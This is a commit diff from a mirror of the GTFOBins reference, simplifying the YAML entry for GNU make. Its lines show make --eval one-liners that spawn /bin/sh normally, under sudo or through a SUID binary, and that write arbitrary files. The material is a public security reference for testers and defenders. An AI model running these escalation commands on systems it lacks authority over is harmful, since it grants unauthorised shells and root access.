mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-01-12 23:12:06 +01:00
Simplify make
This commit is contained in:
parent
4eff8b534f
commit
c31a8a1b6b
@ -2,22 +2,18 @@
|
|||||||
functions:
|
functions:
|
||||||
execute-interactive:
|
execute-interactive:
|
||||||
- code: |
|
- code: |
|
||||||
COMMAND='/bin/sh 1>&2'
|
COMMAND='/bin/sh'
|
||||||
make -s --eval="a := \$(info \$(shell $COMMAND))" --eval='all:'
|
make -s --eval=$'x:\n\t-'"$COMMAND"
|
||||||
execute-non-interactive:
|
|
||||||
- code: |
|
|
||||||
COMMAND=/usr/bin/id
|
|
||||||
make -s --eval="a := \$(info \$(shell $COMMAND))" --eval='all:'
|
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- code: |
|
- code: |
|
||||||
COMMAND=/usr/bin/id
|
COMMAND='/bin/sh'
|
||||||
sudo make -s --eval="a := \$(info \$(shell $COMMAND))" --eval='all:'
|
sudo make -s --eval=$'x:\n\t-'"$COMMAND"
|
||||||
suid-enabled:
|
suid-enabled:
|
||||||
- code: |
|
- code: |
|
||||||
COMMAND=/usr/bin/id
|
COMMAND='/bin/sh'
|
||||||
./make -s --eval="a := \$(info \$(shell $COMMAND))" --eval='all:'
|
./make -s --eval=$'x:\n\t-'"$COMMAND"
|
||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_write
|
LFILE=file_to_write
|
||||||
make -s --eval="a := \$(file >$LFILE,data)" --eval='all:'
|
make -s --eval="\$(file >$LFILE,data)" .
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user